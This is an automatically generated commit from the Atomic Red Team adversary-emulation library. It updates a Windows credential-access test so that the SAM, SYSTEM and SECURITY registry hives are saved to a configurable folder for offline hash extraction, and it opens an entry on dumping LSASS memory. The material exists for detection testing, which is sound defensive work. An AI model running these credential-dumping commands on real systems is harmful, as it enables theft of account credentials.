Generate docs from job=validate_atomics_generate_docs branch=master

This commit is contained in:
CircleCI Atomic Red Team doc generator
2019-12-30 15:06:51 +00:00
parent 409e812b17
commit 135c516a08
2 changed files with 22 additions and 12 deletions
+11 -6
View File
@@ -229,19 +229,24 @@ via three registry keys. Then processed locally using https://github.com/Neohaps
**Supported Platforms:** Windows
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_folder | Output folder path | Path | C:\Windows\Temp|
#### Run it with `command_prompt`! Elevation Required (e.g. root or admin)
```
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
reg save HKLM\sam "#{output_folder}\sam"
reg save HKLM\system "#{output_folder}\system"
reg save HKLM\security "#{output_folder}\security"
```
#### Cleanup Commands:
```
rm sam
rm system
rm security
rm "#{output_folder}\sam"
rm "#{output_folder}\system"
rm "#{output_folder}\security"
```
<br/>
+11 -6
View File
@@ -19468,17 +19468,22 @@ credential-access:
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7
supported_platforms:
- windows
input_arguments:
output_folder:
description: Output folder path
type: Path
default: C:\Windows\Temp
executor:
name: command_prompt
elevation_required: true
command: |
reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security
reg save HKLM\sam "#{output_folder}\sam"
reg save HKLM\system "#{output_folder}\system"
reg save HKLM\security "#{output_folder}\security"
cleanup_command: |
rm sam
rm system
rm security
rm "#{output_folder}\sam"
rm "#{output_folder}\system"
rm "#{output_folder}\security"
- name: Dump LSASS.exe Memory using ProcDump
description: |
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals